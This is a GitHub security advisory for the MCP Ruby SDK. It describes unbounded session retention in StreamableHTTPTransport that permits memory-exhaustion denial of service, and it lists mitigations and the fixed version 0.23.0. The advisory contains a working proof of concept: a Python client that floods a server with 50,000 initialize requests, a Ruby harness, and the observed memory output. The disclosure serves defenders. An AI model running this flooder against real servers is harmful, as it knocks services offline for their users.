GHSA-52JP-GJ8W-J6XH
Vulnerability from github – Published: 2026-07-30 14:43 – Updated: 2026-07-30 14:43Summary
In its default configuration, MCP::Server::Transports::StreamableHTTPTransport never expires sessions. Every successful initialize request stores a new ServerSession and a session record under a fresh UUID, and the only path that removes them is an explicit client-issued HTTP DELETE. An unauthenticated attacker can repeatedly initialize new sessions and immediately disconnect, forcing the server to retain an unbounded number of ServerSession objects until memory is exhausted.
Affected component
lib/mcp/server/transports/streamable_http_transport.rb:
- Line 27, constructor:
def initialize(server, stateless: false, enable_json_response: false, session_idle_timeout: nil)— the default forsession_idle_timeoutisnil. - Line 46:
start_reaper_thread if @session_idle_timeout— when the timeout isnil, the reaper that prunes idle sessions is never started. - Lines 604–643 (
handle_initialization): every successfulinitializeinserts a new session record; the only removal sites arehandle_delete(client-controlled) and stream-error paths.
The project README acknowledges the insecure default (line 1605):
By default, sessions do not expire. To mitigate session hijacking risks, you can set a
session_idle_timeout(in seconds).
Per-session memory cost is non-trivial: each entry contains a ServerSession instance (with its own Mutex, @in_flight hash, capabilities hash, and server reference), a top-level hash entry under the session UUID, and per-pending-request Queue allocations.
Proof of concept
Server (session_poc_server.rb)
Starts the transport in its default configuration (no session_idle_timeout) and reports the in-memory session count plus process RSS every two seconds.
require "bundler/setup"
require "mcp"
require "mcp/server/transports/streamable_http_transport"
require "rackup"
require "webrick"
require "rackup/handler/webrick"
server = MCP::Server.new(name: "session-poc-target", tools: [])
transport = MCP::Server::Transports::StreamableHTTPTransport.new(server)
Thread.new do
loop do
sessions = transport.instance_variable_get(:@sessions)
count = sessions ? sessions.size : 0
rss_mb = `ps -o rss= -p #{Process.pid}`.to_i / 1024
STDERR.puts("[mem] sessions=#{count} RSS=#{rss_mb} MB")
sleep 2
end
end
STDERR.puts("[poc] listening on http://127.0.0.1:9295/")
Rackup::Handler::WEBrick.run(
transport,
Host: "127.0.0.1", Port: 9295,
AccessLog: [], Logger: WEBrick::Log.new(File::NULL),
)
Client (session_poc_client.py)
import concurrent.futures, json, socket, time
HOST, PORT = "127.0.0.1", 9295
TOTAL, WORKERS = 50_000, 32
INIT = json.dumps({
"jsonrpc": "2.0", "id": 1, "method": "initialize",
"params": {"protocolVersion": "2025-11-25", "capabilities": {},
"clientInfo": {"name": "flooder", "version": "1.0"}}
}).encode()
REQ = (
f"POST / HTTP/1.1\r\nHost: {HOST}:{PORT}\r\n"
f"Content-Type: application/json\r\n"
f"Accept: application/json, text/event-stream\r\n"
f"Content-Length: {len(INIT)}\r\nConnection: close\r\n\r\n"
).encode() + INIT
def one():
try:
s = socket.create_connection((HOST, PORT), timeout=5)
s.sendall(REQ)
data = b""
while True:
c = s.recv(8192)
if not c: break
data += c
s.close()
return b"mcp-session-id" in data.lower()
except OSError:
return False
start = time.time()
created = 0
with concurrent.futures.ThreadPoolExecutor(max_workers=WORKERS) as ex:
futs = [ex.submit(one) for _ in range(TOTAL)]
for i, f in enumerate(concurrent.futures.as_completed(futs), 1):
if f.result():
created += 1
if i % 1000 == 0:
print(f"[poc] dispatched {i} reqs, {created} sessions confirmed, "
f"elapsed {time.time() - start:.1f}s")
print(f"[poc] done. {created}/{TOTAL} sessions confirmed in "
f"{time.time() - start:.1f}s")
Reproduction commands
bundle install
ruby session_poc_server.rb # terminal A
python3 session_poc_client.py # terminal B
Observed result
Tested on macOS, Ruby 3.2.4, against the SDK's main branch.
Server terminal:
[mem] sessions=0 RSS=45 MB
[mem] sessions=2605 RSS=56 MB
[mem] sessions=11587 RSS=72 MB
[mem] sessions=23119 RSS=85 MB
[mem] sessions=34391 RSS=119 MB
[mem] sessions=45325 RSS=128 MB
[mem] sessions=50000 RSS=154 MB
[mem] sessions=50000 RSS=152 MB
[mem] sessions=50000 RSS=152 MB
[mem] sessions=50000 RSS=152 MB # plateau persists indefinitely
Client terminal:
[poc] dispatched 50000 reqs, 50000 sessions confirmed, elapsed 26.6s
[poc] done. 50000/50000 sessions confirmed in 26.6s
50,000 unique sessions are created and retained in 26.6 seconds from a single client. The session count remains pinned at 50,000 indefinitely, confirming that no reaper exists to free the records. Scaling the attack linearly (multiple clients, larger client-capability payloads, longer runtime) drives RSS until the worker is OOM-killed.
Impact
- Attacker requirements: unauthenticated TCP reach of the MCP endpoint. No session, no credentials.
- Effect: memory-exhaustion denial of service. A sustained or distributed attacker can OOM the worker; on services that recycle workers, the attacker simply repeats. On multi-tenant gateways, one tenant can starve all others.
- Affected deployments: every deployment that does not opt into
session_idle_timeout. Because the README presents this as an opt-in mitigation rather than a default, real-world deployments are likely to ship vulnerable.
Suggested mitigation
- Change the default of
session_idle_timeoutto a finite value (e.g. 30 minutes) and document the change as a security default. - Add a
max_sessions:constructor option; rejectinitializewith HTTP 503 once the cap is reached. - Track the time of the
initializePOST separately from later request activity, and evict sessions whose GET SSE stream is never attached within N seconds.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 0.22.0"
},
"package": {
"ecosystem": "RubyGems",
"name": "mcp"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.23.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-67430"
],
"database_specific": {
"cwe_ids": [
"CWE-401",
"CWE-770"
],
"github_reviewed": true,
"github_reviewed_at": "2026-07-30T14:43:29Z",
"nvd_published_at": "2026-07-29T20:17:11Z",
"severity": "MODERATE"
},
"details": "## Summary\n\nIn its default configuration, `MCP::Server::Transports::StreamableHTTPTransport` never expires sessions. Every successful `initialize` request stores a new `ServerSession` and a session record under a fresh UUID, and the only path that removes them is an explicit client-issued HTTP `DELETE`. An unauthenticated attacker can repeatedly initialize new sessions and immediately disconnect, forcing the server to retain an unbounded number of `ServerSession` objects until memory is exhausted.\n\n## Affected component\n\n`lib/mcp/server/transports/streamable_http_transport.rb`:\n\n- Line 27, constructor: `def initialize(server, stateless: false, enable_json_response: false, session_idle_timeout: nil)` \u2014 the default for `session_idle_timeout` is `nil`.\n- Line 46: `start_reaper_thread if @session_idle_timeout` \u2014 when the timeout is `nil`, the reaper that prunes idle sessions is never started.\n- Lines 604\u2013643 (`handle_initialization`): every successful `initialize` inserts a new session record; the only removal sites are `handle_delete` (client-controlled) and stream-error paths.\n\nThe project README acknowledges the insecure default (line 1605):\n\n\u003e By default, sessions do not expire. To mitigate session hijacking risks, you can set a `session_idle_timeout` (in seconds).\n\nPer-session memory cost is non-trivial: each entry contains a `ServerSession` instance (with its own `Mutex`, `@in_flight` hash, capabilities hash, and server reference), a top-level hash entry under the session UUID, and per-pending-request `Queue` allocations.\n\n## Proof of concept\n\n### Server (`session_poc_server.rb`)\n\nStarts the transport in its default configuration (no `session_idle_timeout`) and reports the in-memory session count plus process RSS every two seconds.\n\n```ruby\nrequire \"bundler/setup\"\nrequire \"mcp\"\nrequire \"mcp/server/transports/streamable_http_transport\"\nrequire \"rackup\"\nrequire \"webrick\"\nrequire \"rackup/handler/webrick\"\n\nserver = MCP::Server.new(name: \"session-poc-target\", tools: [])\ntransport = MCP::Server::Transports::StreamableHTTPTransport.new(server)\n\nThread.new do\n loop do\n sessions = transport.instance_variable_get(:@sessions)\n count = sessions ? sessions.size : 0\n rss_mb = `ps -o rss= -p #{Process.pid}`.to_i / 1024\n STDERR.puts(\"[mem] sessions=#{count} RSS=#{rss_mb} MB\")\n sleep 2\n end\nend\n\nSTDERR.puts(\"[poc] listening on http://127.0.0.1:9295/\")\nRackup::Handler::WEBrick.run(\n transport,\n Host: \"127.0.0.1\", Port: 9295,\n AccessLog: [], Logger: WEBrick::Log.new(File::NULL),\n)\n```\n\n### Client (`session_poc_client.py`)\n\n```python\nimport concurrent.futures, json, socket, time\n\nHOST, PORT = \"127.0.0.1\", 9295\nTOTAL, WORKERS = 50_000, 32\n\nINIT = json.dumps({\n \"jsonrpc\": \"2.0\", \"id\": 1, \"method\": \"initialize\",\n \"params\": {\"protocolVersion\": \"2025-11-25\", \"capabilities\": {},\n \"clientInfo\": {\"name\": \"flooder\", \"version\": \"1.0\"}}\n}).encode()\n\nREQ = (\n f\"POST / HTTP/1.1\\r\\nHost: {HOST}:{PORT}\\r\\n\"\n f\"Content-Type: application/json\\r\\n\"\n f\"Accept: application/json, text/event-stream\\r\\n\"\n f\"Content-Length: {len(INIT)}\\r\\nConnection: close\\r\\n\\r\\n\"\n).encode() + INIT\n\ndef one():\n try:\n s = socket.create_connection((HOST, PORT), timeout=5)\n s.sendall(REQ)\n data = b\"\"\n while True:\n c = s.recv(8192)\n if not c: break\n data += c\n s.close()\n return b\"mcp-session-id\" in data.lower()\n except OSError:\n return False\n\nstart = time.time()\ncreated = 0\nwith concurrent.futures.ThreadPoolExecutor(max_workers=WORKERS) as ex:\n futs = [ex.submit(one) for _ in range(TOTAL)]\n for i, f in enumerate(concurrent.futures.as_completed(futs), 1):\n if f.result():\n created += 1\n if i % 1000 == 0:\n print(f\"[poc] dispatched {i} reqs, {created} sessions confirmed, \"\n f\"elapsed {time.time() - start:.1f}s\")\n\nprint(f\"[poc] done. {created}/{TOTAL} sessions confirmed in \"\n f\"{time.time() - start:.1f}s\")\n```\n\n### Reproduction commands\n\n```sh\nbundle install\nruby session_poc_server.rb # terminal A\npython3 session_poc_client.py # terminal B\n```\n\n### Observed result\n\nTested on macOS, Ruby 3.2.4, against the SDK\u0027s `main` branch.\n\nServer terminal:\n\n```\n[mem] sessions=0 RSS=45 MB\n[mem] sessions=2605 RSS=56 MB\n[mem] sessions=11587 RSS=72 MB\n[mem] sessions=23119 RSS=85 MB\n[mem] sessions=34391 RSS=119 MB\n[mem] sessions=45325 RSS=128 MB\n[mem] sessions=50000 RSS=154 MB\n[mem] sessions=50000 RSS=152 MB\n[mem] sessions=50000 RSS=152 MB\n[mem] sessions=50000 RSS=152 MB # plateau persists indefinitely\n```\n\nClient terminal:\n\n```\n[poc] dispatched 50000 reqs, 50000 sessions confirmed, elapsed 26.6s\n[poc] done. 50000/50000 sessions confirmed in 26.6s\n```\n\n50,000 unique sessions are created and retained in 26.6 seconds from a single client. The session count remains pinned at 50,000 indefinitely, confirming that no reaper exists to free the records. Scaling the attack linearly (multiple clients, larger client-capability payloads, longer runtime) drives RSS until the worker is OOM-killed.\n\n\u003cimg width=\"3544\" height=\"1674\" alt=\"image\" src=\"https://github.com/user-attachments/assets/89ac35ab-5629-4b48-83f8-e26a92b3e45c\" /\u003e\n\n## Impact\n\n- **Attacker requirements:** unauthenticated TCP reach of the MCP endpoint. No session, no credentials.\n- **Effect:** memory-exhaustion denial of service. A sustained or distributed attacker can OOM the worker; on services that recycle workers, the attacker simply repeats. On multi-tenant gateways, one tenant can starve all others.\n- **Affected deployments:** every deployment that does not opt into `session_idle_timeout`. Because the README presents this as an opt-in mitigation rather than a default, real-world deployments are likely to ship vulnerable.\n\n## Suggested mitigation\n\n1. Change the default of `session_idle_timeout` to a finite value (e.g. 30 minutes) and document the change as a security default.\n2. Add a `max_sessions:` constructor option; reject `initialize` with HTTP 503 once the cap is reached.\n3. Track the time of the `initialize` POST separately from later request activity, and evict sessions whose GET SSE stream is never attached within N seconds.",
"id": "GHSA-52jp-gj8w-j6xh",
"modified": "2026-07-30T14:43:29Z",
"published": "2026-07-30T14:43:29Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/modelcontextprotocol/ruby-sdk/security/advisories/GHSA-52jp-gj8w-j6xh"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-67430"
},
{
"type": "WEB",
"url": "https://github.com/modelcontextprotocol/ruby-sdk/commit/afb968c468c178c4d3294b423fcce250621692f4"
},
{
"type": "PACKAGE",
"url": "https://github.com/modelcontextprotocol/ruby-sdk"
},
{
"type": "WEB",
"url": "https://github.com/modelcontextprotocol/ruby-sdk/releases/tag/v0.23.0"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L",
"type": "CVSS_V3"
}
],
"summary": "MCP Ruby SDK: Unbounded session retention in StreamableHTTPTransport allows memory exhaustion via initialize flood"
}
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.